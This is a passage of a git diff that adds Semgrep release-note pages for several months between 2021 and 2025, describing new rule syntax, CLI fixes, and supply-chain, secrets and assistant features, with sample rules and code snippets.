+ def $F2(...):
+ ...
+ ...
+ ...
+ - metavariable-comparison:
+ comparison: str($F1) == str($F2)
+ ```
+- Fixed an issue where code snippets from GitLab-hosted repositories weren't loading.
+- **C++**: Fixed an issue so that scanning a project with header files no longer causes spurious warnings that the file is being skipped or isn't being analyzed.
+- **CLI**:
+ - Fixed an issue where autofix previews weren't displayed with appropriate spacing.
+ - Fixed an issue where rules served to the CLI weren't filtered by minimum and maximum versions supported, causing errors.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Added support for comparing Go pseudo-versions against other pseudo-versions and strict core versions.
+- Added support for uploading and parsing large npm repositories.
+- Added the ability for Supply Chain to retrieve and display CVE data.
+- Added a filter to support filtering by reachability rule, CVE, or GHSA information.
+
+### Changed
+
+- SBOMs generated by Semgrep now contain time zone information.
+
+### Fixed
+
+- Fixed an issue where `package-lock.json` parser incorrectly assumed that all paths in the `packages` component of `package-lock.json` started with `node_modules/`. This is incorrect, since a dependency can be installed anywhere. The parser can now recognize alternative locations.
+- Fixed an issue where users couldn't create Jira tickets for Supply Chain findings with the severity filter active.
+- Fixed an issue where CVE information was labeled as CWE information.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+* **Assistant Memories** is now in public beta. [Assistant Memories](/semgrep-multimodal/overview#memories) allows users to tailor Assistant's remediation guidance on a per-project, per-rule basis.
+
+### Fixed
+
+- Fixed various UI issues when analyzing findings.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- Added the **Open in Editor** button to the findings detail page for findings identified by Secrets.
+- Added the ability to filter for Secrets findings with the status of **Ignored**.
+- Added the ability to triage Secrets using the **Reviewing** and **Fixing** statuses.
+
+### Fixed
+
+- Fixed an issue where Slack webhooks weren't included in historical scan findings.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following new documents, articles and sections:
+ - [Secure guardrails in Semgrep](/secure-guardrails/secure-guardrails-in-semgrep) - an overview of secure guardrails and how to use Semgrep features to implement guardrails.
+ - [Secure defaults](/secure-guardrails/secure-defaults) - a definition of secure defaults and reference towards creating your own.
+ - Added sections about connecting the following SCMs to Semgrep:
+ - [Azure DevOps Cloud](/deployment/connect-scm#connect-to-cloud-hosted-orgs)
+ - [Bitbucket Cloud](/deployment/connect-scm#connect-to-cloud-hosted-orgs)
+ - [Bitbucket Data Center](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects)
+ - Added documentation about setting up PR comments for Azure and Bitbucket:
+ - [Azure PR comments](/semgrep-appsec-platform/azure-pr-comments)
+ - [Bitbucket PR comments](/category/bitbucket-pr-comments)
+ - Added a section about Assistant Memories (beta).
+- Added the `semgrep ci` help output into the CLI reference documentation.
+
+### Changed
+
+- Updated the [Semgrep Network Broker](/semgrep-ci/network-broker) documentation to work with Semgrep Managed Scans and Bitbucket.
+- Updated instructions for connecting [Semgrep with GitHub Enterprise](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects).
+- Updated the [Scan monorepo in parts](/kb/semgrep-ci/scan-monorepo-in-parts) knowledge base article to use the new Semgrep `--subdir` option.
+- Updated Semgrep Pro rules documentation.
+- Updated Semgrep rule syntax with the following:
+ - [Metavariable unification](/writing-rules/pattern-syntax#metavariable-unification)
+ - [Anonymous metavariables](/writing-rules/pattern-syntax#anonymous-metavariables)
+ - [`decorators_order_matters`](/writing-rules/rule-syntax#options)
+
+### Fixed
+
+- Various broken links have been updated.
+
+### Removed
+
+- Removed the Semgrep vim extension from the documentation due to the lack of activity on the extension itself.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in July 2024:
+
+
+
+
+
+
+* Semgrep now supports [Move on Aptos](https://medium.com/aptoslabs/semgrep-support-for-move-on-aptos-39f9109f2266), thanks to the contributions of Aptos Labs.
+
diff --git a/mintlify-docs/release-notes/july-2025.mdx b/mintlify-docs/release-notes/july-2025.mdx
new file mode 100644
index 0000000000..73c3c64b2f
--- /dev/null
+++ b/mintlify-docs/release-notes/july-2025.mdx
@@ -0,0 +1,96 @@
+---
+title: "July 2025"
+description: "August 8, 2025 · 5 min read"
+rss: true
+---
+
+The following updates were made to Semgrep in July 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Support for running Semgrep natively on Windows is now in **public beta**. This applies to running Semgrep through the CLI and an IDE such as Cursor, VS Code, and IntelliJ.
+- Semgrep now includes a link to the GitHub pull request (PR) on the finding details page if you link a Semgrep finding in the PR you create.
+- By default, diff-aware managed scans now have **fail open** enabled in the event a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they haven't completed after the specified timeout, allowing you to make the Semgrep status check required in your source code manager (SCM) while not blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
+
+### Changed
+
+- General UI improvements, including style fixes.
+
+### Fixed
+
+- Fixed an issue where you couldn't add a connection to GitHub Enterprise without an access token.
+
+## 💻 Semgrep Code
+
+### Added
+
+- Semgrep now prints warnings for each `paths.include` and `paths.exclude` pattern found in rules that Semgrep considers ambiguous.
+ - **Example**: a pattern containing a middle slash, such as `src/*.c`, is considered floating, or unanchored. To comply with `gitignore` and `semgrepignore` specifications, `src/*.c` must be treated as anchored. Semgrep prints a warning asking the user to resolve any ambiguity if it exists. The user is asked to change the `src/*.c` pattern to either `/src/*.c`, anchored, or `**/src/*.c`, floating.
+`HTTP{,S}_PROXY=...` now accepts URIs without a scheme, such as `HTTP_PROXY=domain.com:port`.
+
+### Fixed
+
+- Fixed an issue where some diff-aware scans on shallow clones would use the incorrect merge base, resulting in a scan on commits not a part of the pull request. This is because Semgrep now considers the specific merge base to use when performing diff-aware scans.
+- Fixed an issue where an empty file would sometimes be created in place of a missing input file.
+- Fixed an issue where log files weren't succinct and introduced mid-entry newlines that broke log-parsing tools.
+- Fixed an issue where the `sign in` command didn't work.
+- Fixed an issue where `CiScanComplete.dependencies` were populated with unparsed dependencies.
+- Fixed an issue where error details weren't printed when an `SemgrepError` exception caused `semgrep` to fail.
+- Semgrep now prints an error message and exits instead of silently exiting with code `2` when you run `semgrep scan` in a Docker container without an argument, and there's no target project mounted under `/src`.
+- Fixed an issue where a `Unix.Unix_error` would occasionally crash the experimental language server on startup.
+- Fixed an issue where scans of large repositories in debug mode resulted in overly large logs.
+- Path filters, such as `paths.exclude` and `paths.include` in rules, now apply to normalized file paths relative to the project rule. This makes rule selection independent of the current work folder.
+- Patterns with a leading slash, such as `/src`, are now anchored instead
+of floating. For example, `exclude: [ "/src" ]` excludes the target
+file `src/main.c`, but not `misc/src/main.c`
+- **Java**: deprecated the `class $A` partial class pattern in favor of `class $A { ... }`.
+- **Python**: Fixed an issue where the Python parser didn't correctly parse and handle valid structural dictionary patterns.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Supply Chain support for PHP reachability analysis is now **generally available (GA)**.
+- You can now use the **Upgrade guidance** filter to look for findings based on whether upgrading to the dependency that remediates the vulnerability introduces breaking changes or not.
+- Beginning with Semgrep v1.127.0, `uv` is a supported package manager for [Dependency Paths](/semgrep-supply-chain/dependency-search#view-the-dependency-path). This means that `uv` is a supported package manager across all Supply Chain features.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- You can now see which memories were used by Assistant when it generated remediation guidance for a specific finding. Semgrep displays this information on the finding details page.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- Added the ability to send Slack notifications for Secrets findings.
+- Semgrep now makes up to three attempts when validating Amazon Web Services (AWS) credentials that failed due to possibly transient reasons.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following knowledge base articles:
+
+
+
+
+
+
+### Fixed
+
+- Minor fixes, including fixes to broken link anchors.
+
+## 🔧 OSS Engine
+
+* The following versions of the OSS Engine were released in July 2025:
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/june-2021.mdx b/mintlify-docs/release-notes/june-2021.mdx
new file mode 100644
index 0000000000..ff99e3d042
--- /dev/null
+++ b/mintlify-docs/release-notes/june-2021.mdx
@@ -0,0 +1,121 @@
+---
+title: "June 2021"
+description: "June 30, 2021 · 4 min read"
+rss: true
+---
+
+
+## Version 0.57.0
+
+### Additions
+
+- New options: field in a YAML rule to enable/disable certain features (for example constant propagation) (For the list of available features you can enable/disable see [https://github.com/semgrep/semgrep/blob/develop/interfaces/Rule_options.atd](https://github.com/semgrep/semgrep/blob/develop/interfaces/Rule_options.atd)).
+- Capture groups in pattern-regex: in $1, $2, etc. ([#3356](https://github.com/semgrep/semgrep/issues/3356))
+- Support metavariables inside atoms (e.g., foo(:$ATOM))
+- Support metavariables and ellipsis inside regexp literals (for example `foo(/.../)`)
+- Associative-commutative matching for bitwise OR, AND, and XOR operations
+- Add support for $...MVAR in generic patterns
+- Add support for $...MVAR in generic patterns
+- metavariable-pattern: Add support for nested Spacegrep/regex/Comby patterns
+- C#: support ellipsis in method parameters ([#3289](https://github.com/semgrep/semgrep/issues/3289))
+
+### Fixes
+
+- C#: parse __makeref, __reftype, __refvalue ([#3364](https://github.com/semgrep/semgrep/pull/3364))
+- Java: parsing of dots inside function annotations with brackets ([#3389](https://github.com/semgrep/semgrep/pull/3389))
+- Do not pretend that short-circuit Boolean AND and OR operators are commutative ([#3399](https://github.com/semgrep/semgrep/issues/3399))
+- metavariable-pattern: Fix crash when nesting a non-generic pattern within a generic rule
+- metavariable-pattern: Fix parse info when matching content of a metavariable under a different language
+- generic mode on Markdown files with very long lines will now work ([#2987](https://github.com/semgrep/semgrep/issues/2987))
+
+### Changes
+
+- generic mode: files that don't look like nicely-indented programs are no longer ignored, which may cause accidental slowdowns in setups where excessively large files are not excluded explicitly ([#3418](https://github.com/semgrep/semgrep/pull/3418))
+- metavariable-comparison: Fix crash when comparing integers and floats
+- Do not filter findings with the same range but different metavariable bindings ([#3310](https://github.com/semgrep/semgrep/pull/3310))
+- Set parsing_state.have_timeout when a timeout occurs ([#3438](https://github.com/semgrep/semgrep/pull/3438))
+- Set a timeout of 10s per file ([#3434](https://github.com/semgrep/semgrep/pull/3434))
+- Improvements to contributing documentation ([#3353](https://github.com/semgrep/semgrep/pull/3353))
+- Memoize getting ranges to speed up rules with large ranges
+- When and-ed with other patterns, pattern: $X will not be evaluated on its own, but will look at the context and find $X within the metavariables bound, which should be significantly faster
+
+## Version 0.56.0
+
+### Additions
+
+- Associative-commutative matching for Boolean AND and OR operations ([#3198](https://github.com/semgrep/semgrep/issues/3198))
+- Support metavariables inside strings (e.g., foo("$VAR"))
+- Support metavariables inside atoms (e.g., foo(:$ATOM))
+- metavariable-pattern: allow matching the content of a metavariable under a different language
+
+### Fixes
+
+- C#: Parse attributes for local functions ([#3348](https://github.com/semgrep/semgrep/issues/3348))
+- Go: Recognize other common package naming conventions ([#2424](https://github.com/semgrep/semgrep/issues/2424))
+
+### Changes
+
+- Upgraded TypeScript parser ([#3102](https://github.com/semgrep/semgrep/issues/3102))
+
+## Version 0.55.1
+
+### Additions
+
+- Added new metavariable-pattern operator (available only via --optimizations), thanks to Kai Zhong for the feature request ([#3257](https://github.com/semgrep/semgrep/issues/3257))
+- Add helpUri to SARIF output if rule source metadata is defined
+
+### Fixes
+
+- C#: Support unsafe block syntax ([#3283](https://github.com/semgrep/semgrep/pull/3283))
+- Generic mode: fixed wrong line numbers for multi-lines match ([#3315](https://github.com/semgrep/semgrep/issues/3315))
+- JavaScript: support partial field definitions pattern, like in JSON
+- JSON: handle correctly metavariables as field ([#3279](https://github.com/semgrep/semgrep/issues/3279))
+- PHP: Support ellipsis in include/require and echo ([#3191](https://github.com/semgrep/semgrep/issues/3191),[#3245](https://github.com/semgrep/semgrep/issues/3245))
+- PHP: Prefer expression patterns over statement patterns ([#3191](https://github.com/semgrep/semgrep/issues/3191))
+- Python: support ellipsis in try-except ([#3233](https://github.com/semgrep/semgrep/pull/3233))
+- Scala: correctly parse symbol literals and interpolated strings containing double dollars ([#3271](https://github.com/semgrep/semgrep/pull/3271))
+- Taint mode: Allow statement-patterns when these are represented as statement-expressions in the Generic AST ([#3191](https://github.com/semgrep/semgrep/issues/3191))
+- Dataflow: Analyze foreach body even if we do not handle the pattern yet (#3155)
+- Correctly handle ellipsis inside function types ([#3119](https://github.com/semgrep/semgrep/issues/3119))
+- Fall back to no optimizations when using unsupported features: pattern-where-python, taint rules, and --debugging-json ([#3265](https://github.com/semgrep/semgrep/pull/3265))
+- Handle regexp parse errors gracefully when using optimizations ([#3266](https://github.com/semgrep/semgrep/pull/3266))
+- Support equivalences when using optimizations ([#3259](https://github.com/semgrep/semgrep/pull/3259))
+
+### Changes
+
+- Run rules in semgrep-core (rather than patterns) by default (these are the optimizations described above)
+
+## Version 0.54.0
+
+This version includes release notes for Semgrep version 0.53.0 as well.
+
+### Additions
+
+- Alpha support for Scala
+- Metrics collection of project_hash in cases where git is not available
+- Taint mode now also analyzes top-level statements
+- Per rule parse times and per rule-file parse and match times added to opt-in metrics
+- $...MVAR can now match a list of statements (not just a list of arguments) ([#3170](https://github.com/semgrep/semgrep/issues/3170))
+
+### Fixes
+
+- JavaScript parsing: Support decorators on properties
+- JavaScript parsing: Allow default export for any declaration
+- Metavariables in messages are filled in when using --optimizations all
+- Respect --timeout-threshold option in --optimizations all mode
+- Python: class variables are matched in any order ([#3212](https://github.com/semgrep/semgrep/issues/3212))
+- Running with --strict will now return results if there are nosem mismatches. Semgrep will report a nonzero exit code if --strict is set and there are nosem mismatches ([#3099](https://github.com/semgrep/semgrep/issues/3099))
+- PHP: parsing correctly ... and metavariables in parameters
+- PHP: parsing correctly functions with a single statement in their body
+- Evaluate interpolated strings during constant propagation ([#3127](https://github.com/semgrep/semgrep/issues/3127))
+- Semgrep will report an InvalidRuleSchemaError for dictionaries with duplicate key names ([#3084](https://github.com/semgrep/semgrep/issues/3084))
+- Basic type inference also for implicit variable declarations (Python, Ruby, PHP, and JavaScript)
+- JavaScript/TypeScript: differentiating tagged template literals in the AST ([#3187](https://github.com/semgrep/semgrep/issues/3187))
+- Ruby: storing parenthesis in function calls in the AST ([#3178](https://github.com/semgrep/semgrep/issues/3178))
+
+### Changes
+
+- Moved some debug logging to verbose logging
+- $...ARGS can now match an empty list of arguments, just like ... ([#3177](https://github.com/semgrep/semgrep/issues/3177))
+- JSON and SARIF outputs sort keys for predictable results
+
diff --git a/mintlify-docs/release-notes/june-2022.mdx b/mintlify-docs/release-notes/june-2022.mdx
new file mode 100644
index 0000000000..c3a5f46590
--- /dev/null
+++ b/mintlify-docs/release-notes/june-2022.mdx
@@ -0,0 +1,93 @@
+---
+title: "June 2022"
+description: "June 30, 2022 · 7 min read"
+rss: true
+---
+
+
+## Semgrep App
+
+### Additions
+
+- Effective August 1, 2022, Semgrep App Community tier will be limited to 20 developers each month. Please see our [Usage Limits FAQ](https://semgrep.dev/faq-usage-limits) for more information.
+- You can now see the number of developers committing to private repositories scanned by Semgrep App in the **Settings page**.
+- New accounts can now try out Semgrep with the default inclusion of `juice-shop`, an intentionally vulnerable codebase. This enables new users to explore Semgrep's scanning capability, dashboard, and features.
+- Additional scan status messages have been added in the Projects page, under the **Last scan** row to better assist users in troubleshooting and understanding scan behavior.
+- [Team or Enterprise Tier] You can now **tag** repositories within Semgrep App with up to 10 tags. Tagging enables teams to group together related repositories. Tags are implemented in [Semgrep's API](https://semgrep.dev/api/v1/#section/Introduction), enabling you to filter and group repository findings through tags.
+
+### Changes
+
+- **Semgrep App Findings page**: The **Closed** tab is now labeled as Fixed. This change prevents confusion between findings that were fixed and findings that were removed.
+- Findings that Semgrep App found in a previous scan but no longer found them in the latest scan are called **Fixed findings**. To mark findings as fixed, the rule that matched the code and the file that was scanned must still be present during the latest scan. Under these conditions, Semgrep App concludes that the finding is fixed.
+- Removed findings are not included in the count in the Fixed findings tab. **Removed findings** are findings in the code that were previously found by a rule, but either the rule or the file containing the code has been removed in the most recent scan. Thus, the code cannot be considered "fixed", but is instead "removed." See [Semgrep App Findings](/semgrep-code/findings) documentation for more information.
+- Both fixed findings and removed findings were previously counted together in the Closed tab, causing confusion as to the actual count of fixed findings. Now only findings that were purposefully fixed or addressed are counted.
+- PR Fix Rate has been renamed to **Comment Fix Rate**. The use of a more general term, "comment", captures both GitLab merge requests (MRs) and GitHub pull requests (PRs).
+- The **Comment Fix Rate** is the percentage of PR or MR comments fixed by developers. These PR or MR comments are findings detected by Semgrep from rules in the Comment column of your Rule Board.
+
+### Fixes
+
+- When adding GitHub projects, Semgrep App previously redirected the user to GitHub and then back into Semgrep App's Dashboard page while adding a project. Because of this, users would have to manually return to the Projects page to finish adding a project. Semgrep App now correctly redirects users to the Project page.
+
+## Semgrep CLI and Semgrep in CI
+
+These release notes include upgrades for all versions ranging between **0.95.0** and **0.101.0**.
+
+### Additions
+
+- Semgrep installation through PyPi is now supported on Apple M1 processors!
+- Semgrep now supports the R language as an experimental language. Thanks to Zythosec for contributions! ([Issue #2360](https://github.com/semgrep/semgrep/issues/2360))
+- Bash: Semgrep now supports subshell syntax. This can be used, for example, in commands in parentheses. ([Issue #5629](https://github.com/semgrep/semgrep/issues/5629))
+- Java: You can now use a metavariable in a package directive, for example, `package $X`, which is useful to bind the package name and use it in the error message. ([Issue #5420](https://github.com/semgrep/semgrep/issues/5420))
+- Building the foundation for an improved Visual Studio Code user experience, Semgrep now has an experimental Language Server Protocol (LSP) daemon mode. A client program (such as Visual Studio Code) would typically run the LSP daemon. If you feel like an adventurer, all you need to do to start it is to run `semgrep lsp --config p/r2c`. Stay tuned for more LSP goodness!
+- Semgrep in CI:
+ - Starting to run Semgrep CI in your pipelines was easier in GitHub and GitLab than for any other CI provider. With this release, the process has been simplified for many other CI providers! Previously, for any provider except for GitHub and GitLab, you would have to commit a lengthy configuration file to enable Semgrep in CI to start working in your pipeline. Now, the autodetection of the CI environment supports Azure Pipelines, Bitbucket, Buildkite, CircleCI, Jenkins, and Travis CI in addition to GitHub and GitLab. Now you do not need to commit big configuration files again for these providers!
+ - You can now disable version checks with an environment variable by setting `SEMGREP_ENABLE_VERSION_CHECK=0`.
+ - Accept `SEMGREP_BASELINE_REF` as an alias for `SEMGREP_BASELINE_COMMIT`.
+ - The `ci` CLI command now includes ignored findings in output formats according to their configuration.
+- taint-mode:
+ - Taint tracking now analyzes lambdas in their surrounding context. Previously, if a variable became tainted outside a lambda, and this variable was used inside the lambda causing the taint to reach a sink, this was not detected because any nested lambdas were "opaque" to the analysis. Taint tracking looked at lambdas but as isolated functions. With this update, lambdas are simply analyzed as if they were statement blocks. However, taint tracking still does not follow the flow of taint through the lambda's arguments!
+ - New experimental `pattern-propagators` feature that allows you to specify arbitrary patterns for the propagation of taint by side-effect. In particular, this allows specifying how taint propagates through side-effectful function calls. For example, you can specify when tainted data is added to an array then the array itself becomes tainted. ([Issue #4509](https://github.com/semgrep/semgrep/issues/4509))
+- Dataflow:
+ - Spread operators in record expressions (for example `{...foo}`) are now translated into the Dataflow Intermediate Language (IL).
+ - XML elements (for example JSX elements) have now a basic translation to the Dataflow IL, meaning that dataflow analysis (constant propagation, taint tracking) can now operate inside these elements. ([Issue #5115](https://github.com/semgrep/semgrep/issues/5115))
+- Generic mode:
+ - New option `generic_ellipsis_max_span` for controlling how many lines an ellipsis can match. ([Issue #5211](https://github.com/semgrep/semgrep/issues/5211))
+ - New option `generic_comment_style` for ignoring comments that follow the specified syntax (C style, C++ style, or Shell style). ([Issue #3428](https://github.com/semgrep/semgrep/issues/3428))
+- Metrics:
+ - A list of features used during execution is now included among metrics. Examples of such features are: languages scanned, CLI options passed, keys used in rules, or certain code paths reached, such as using an `:include` instruction in a `.semgrepignore` file. These strings will **not** include user data or specific settings. As an example, with `semgrep scan --output=secret.txt` we send `"option/output"` but will **not** send `"option/output=secret.txt"`.
+ - An anonymous Event ID has been included among metrics. This is an ID generated at send-time and will be used to de-duplicate events that potentially get duplicated during transmission.
+ - Metrics now include an anonymous User ID. This ID is stored in the `~/.semgrep/settings.yml` file. If the ID disappears, the next run will generate a new ID randomly. See the Anonymous User ID in PRIVACY.md for more details.
+
+### Changes
+
+- PHP: Semgrep PHP support now reached GA General Availability (GA) maturity! Thanks a lot to Sjoerd Langkemper for most of the heavy work!
+- Gitlab SAST output is now v14.1.2 compliant.
+- The following deprecated `semgrep scan` options are now removed:
+ `--json-stats`, `--json-time`, `--debugging-json`, `--save-test-output-tar`, `--synthesize-patterns`,
+ `--generate-config/-g`, `--dangerously-allow-arbitrary-code-execution-from-rules`,
+ and `--apply` (which was an easter egg for job applications, not the same as `--autofix`).
+- Rules are now downloaded from the Semgrep Registry in JSON format instead of YAML. This speeds up rule parsing in the Semgrep CLI, making a `semgrep --config auto` run on the semgrep Python package in 14s instead of 16s.
+- The output summarizing scan results has been simplified.
+- Previously, you could use `$X` in a message to interpolate the variable captured by a metavariable named `$X`, but there was no way to access the underlying value. However, sometimes that value is more important than the captured variable. Now you can use the syntax `value($X)` to interpolate the underlying propagated value if it exists (if not, it will just use the variable name).
+
+ **Example**: Take a target file such as the following:
+
+ ```py
+ x = 42
+ log(x)
+ ```
+
+ Now take a rule to find that log command:
+ ```yaml
+ - id: example_log
+ message: Logged $SECRET: value($SECRET)
+ pattern: log(42)
+ languages: [python]
+ ```
+
+ Before this update, the same rule applied to our test example would give you the message `Logged x: value(x)`. Now, it gives the message `Logged x: 42`.
+
+#### Additional information
+
+Bug fixes are not included in these release notes unless they are potentially breaking your workflow. To see the complete change notes for Semgrep CLI and CI that include fixes, visit the [Semgrep changelog](https://github.com/semgrep/semgrep/releases/).
+
diff --git a/mintlify-docs/release-notes/june-2023.mdx b/mintlify-docs/release-notes/june-2023.mdx
new file mode 100644
index 0000000000..3edc8bfa3c
--- /dev/null
+++ b/mintlify-docs/release-notes/june-2023.mdx
@@ -0,0 +1,241 @@
+---
+title: "June 2023"
+description: "June 30, 2023 · 7 min read"
+rss: true
+---
+
+
+## Semgrep OSS Engine
+
+This section of release notes includes upgrades of Semgrep OSS Engine for versions ranging between **1.27.0** and **1.30.0**.
+
+### Added
+
+* New `--experimental` flag to switch to a new implementation of Semgrep entirely written in OCaml with the following benefits:
+ * Faster startup time
+ * Incremental display of matches
+ * AST (abstract syntax tree) and registry caching
+ * A new interactive mode
+
+
+**CAUTION**
+
+Not all Semgrep features have been ported to the OCaml implementation.
+
+* Added a new field `metavariable-type` to Semgrep rule syntax. We at Semgrep have added a dedicated field for annotating the type information of metavariables. By adopting this approach, instead of relying solely on language-specific casting syntax, such as Java's `String` class, we improve usability by eliminating the need to write redundant type cast expressions for a single metavariable ([#8119](https://github.com/semgrep/semgrep/pull/8148)).
+ * The new syntax improves support for target languages that lack built-in casting syntax.
+ * It also promotes a unified approach to expressing type, pattern, and regex constraints for metavariables, resulting in better consistency across rule definitions.
+ * The following is an example rule written with the current and new `metavariable-type` syntax:
+ ```yaml
+ # Current syntax without metavariable-type
+ rules:
+ - id: no-string-eqeq
+ severity: WARNING
+ message: find errors
+ languages:
+ - java
+ patterns:
+ - pattern-not: null == (String $Y)
+ - pattern: $X == (String $Y)
+ ```
+ ```yaml
+ # New syntax with metavariable-type
+ rules:
+ - id: no-string-eqeq
+ severity: WARNING
+ message: find errors
+ languages:
+ - java
+ patterns:
+ - pattern-not: null == $Y
+ - pattern: $X == $Y
+ - metavariable-type:
+ metavariable: $Y
+ type: String
+ ```
+ * The `metavariable-type` field is now supported for the following languages ([#8148](https://github.com/semgrep/semgrep/pull/8148), [#8165](https://github.com/semgrep/semgrep/pull/8165),[#8126](https://github.com/semgrep/semgrep/pull/8126)):
+ * Kotlin
+ * Go
+ * Scala
+ * C#
+ * TypeScript
+ * PHP
+ * Rust
+ * Python
+* Pattern syntax: You can now introduce metavariables from parts of regular expressions using `pattern-regex`, by using regular expressions with [named capturing groups](https://www.regular-expressions.info/named.html). Such capture group metavariables must be explicitly named.
+ * For example, the pattern:
+ ```
+ pattern-regex: "foo-(?P.*)"
+ ```
+ binds what is matched by the capture group `?P` to the metavariable `$X`, which can be used as normal.
+ * `pattern-regex` patterns with capture groups, such as `pattern-regex: "(.*)"` still introduce metavariables of the form `$1`, `$2`, and so on, but this should be considered deprecated behavior, and that functionality will be taken away in a future release. Named capturing groups should be used instead. ([#8115](https://github.com/semgrep/semgrep/pull/8115))
+* Rule syntax: Error messages for rule parsing have been improved. For instance, parsing now complains if you miss a hyphen in a list of patterns, or if you try to give a string to `patterns` or pattern-either. ([#8098](https://github.com/semgrep/semgrep/pull/8098)).
+* JavaScript and TypeScript ([#8112](https://github.com/semgrep/semgrep/pull/8112)): Now, patterns of records with ellipses, such as:
+ ```
+ { $X: ... }
+ ```
+ Properly match to records of anonymous functions, such as:
+ ```
+ {
+ func: () => { return 1; }
+ }
+ ```
+* Matching: Writing a pattern which is a sequence of statements, such as
+ ```
+ foo();
+ ...
+ bar();
+ ```
+ now allows matching to sequences of statements within objects, classes, and related language constructs, in all languages ([#8052](https://github.com/semgrep/semgrep/pull/8052)).
+* Added support for post-PEP 614 decorators.([#8100](https://github.com/semgrep/semgrep/pull/8100)). Now Semgrep accepts decorators of the form `@ named_expr_test NEWLINE`, for example with the pattern:
+ ```
+ lambda $X:$X($X):
+ #match 1
+ @omega := lambda ha:ha(ha)
+ def func():
+ return None
+
+ #match 2
+ @omega[lambda a:a(a)].a.b.c.f("wahoo")
+ def fun():
+ return None
+ ```
+* Constant propagation is now applied to stack array declarations in C. A pattern `$TYPE $NAME[101];` now produces two matches in the following snippet ([#8085](https://github.com/semgrep/semgrep/pull/8085)):
+ ```
+ int main() {
+
+ int bad_len = 101;
+ /* match 1 */
+ int arr1[101];
+ /* match 2 */
+ int arr2[bad_len];
+ return 0;
+ }
+ ```
+* Solidity: Allow metavariables for versions. This can be used for the pragma directive in Solidity. For example: `>= $VER;` ([#8105](https://github.com/semgrep/semgrep/pull/8105/files))
+* PHP ([#8107](https://github.com/semgrep/semgrep/pull/8107)): Added support for parsing patterns of the form: `#[Attr1], #[Attr2]` in code such as:
+ ```
+ #[Attr1]
+ #[Attr2]
+ function test ()
+ {
+ echo "Test";
+ }
+ ```
+Previously, to match against multiple attributes it was required to write `#[Attr1, Attr2]`.
+* Added lone decorators as a valid Python Semgrep pattern ([#8047](https://github.com/semgrep/semgrep/pull/8047)), so for example `$NAME($X)` now generates two separate findings here:
+ ```
+ @hello("world")
+ @hi("semgrep!")
+ def shift():
+ return "left!"
+ ```
+* JavaScript and TypeScript: Patterns for class properties can now have the static and async modifiers.
+For instance:
+ ```
+ @Foo(...)
+ async bar(...) {
+ ...
+ }
+ ```
+or
+ ```
+ @Foo(...)
+ static bar(...) {
+ ...
+ }
+ ```
+* Semgrep VS Code extension: Semgrep Language Server now supports multi-folder workspaces. ([#7966](https://github.com/semgrep/semgrep/pull/7966))
+* New pre-commit hook semgrep-ci to use CI rules in pre-commit, which uses rules from the Policies page and blocks PRs when detecting findings from rules in Block mode ([#7973](https://github.com/semgrep/semgrep/pull/7973)).
+* Added support for date comparison and functionality to get current date. This requires date strings to be in the format "yyyy-mm-dd" ([#8053](https://github.com/semgrep/semgrep/pull/8053)).
+
+### Changed
+
+* The output of `--debug` is now less verbose by default. It now shows internal warning and error messages. Alternatively, use `--verbose` for detailed scan information.
+* Updated the maximum number of cores autodetected to 16 to prevent overloading on large machines when users do not specify number of jobs themselves. ([#8028](https://github.com/semgrep/semgrep/pull/8028))
+* Taint mode: Several improvements to taint_assume_safe_\{booleans,numbers\} options. Most notably, we now use type info provided by explicit type casts, and we also use const-prop info to infer types.
+
+### Fixed
+
+* Taint analysis: Improve handling of dataflow for tainted value propagation in class field definitions
+This change resolves an issue where dataflow was not correctly accounted for when tainted values flowed through field definitions in class/object definitions. For instance, in Kotlin or Scala, singleton objects are commonly used to encapsulate executable logic, where each field definition behaves like a statement during object initialization. In order to handle this scenario, we have introduced an additional step to analyze a sequence of field definitions as a sequence of statements for taint analysis. This enhancement allows us to accurately track tainted values during object initialization. ([#7742](https://github.com/semgrep/semgrep/pull/7975))
+* Allow any characters in file paths used to create dotted rule IDs. File path characters that aren't allowed in rule IDs are simply removed. For example, a rule whose ID is `my-rule` found in the file `hello/@world/rules.yaml` becomes `hello.world.my-rule`. ([#8057](https://github.com/semgrep/semgrep/pull/8057))
+* Fixed a typing issue with Go. Previously, the pattern `($VAR : *tau.rho).$F()` wouldn't produce a match in the following:
+ ```
+ func f() {
+ i_1 := &tau.rho{}
+ i_2 := new(tau.rho)
+
+ i_1.shift() //miss one
+ i_2.left() //miss two
+
+ return 101
+ }
+ ```
+but now Semgrep doesn't miss those two findings. ([#8125](https://github.com/semgrep/semgrep/pull/8125))
+
+## Semgrep Cloud Platform
+
+### Added
+* You can now rename projects (repositories). This feature may be useful when you change the name of your repository in your source code manager. To rename a project from within Semgrep Cloud Platform, do the following:
+
+ i. Click **[Projects](https://semgrep.dev/orgs/-/projects/)**.
+
+ ii. Click the ** gear icon** on the entry of the project you want to rename.
+
+ iii. Click the ** three-dot icon > Rename project**.
+
+ iv. Enter the name of the new project and click **Rename**.
+
+ 
+
+* You can now select a default RBAC (role-based access control) role. Refer to [Setting a default role](/deployment/teams/manage#set-a-default-role-for-the-organization).
+* The Policies page is now the default page used to manage rules. See the [Policies](/semgrep-code/policies) documentation for more information.
+
+
+### Changed
+
+* For organizations with multiple GitHub organizations, you can now add organizations as a newline separated list.
+
+### Removed
+
+* The **Disliked** column has been removed from the Dashboard.
+
+## Semgrep Code
+
+### Added
+
+* Semgrep Pro Engine for Java: Semgrep's taint mode can now relate Java properties and their corresponding getters or setters even when these are autogenerated, so the actual getters or setters are not declared in the sources.
+* Findings page: Added a badge to identify security-related findings.
+* Findings page: You can now select a range of findings cards at once while pressing Shift.
+
+### Fixed
+
+* Cleaned up and updated wording and UI to reflect the updated Team tier.
+* Fixed many many issues in the Editor.
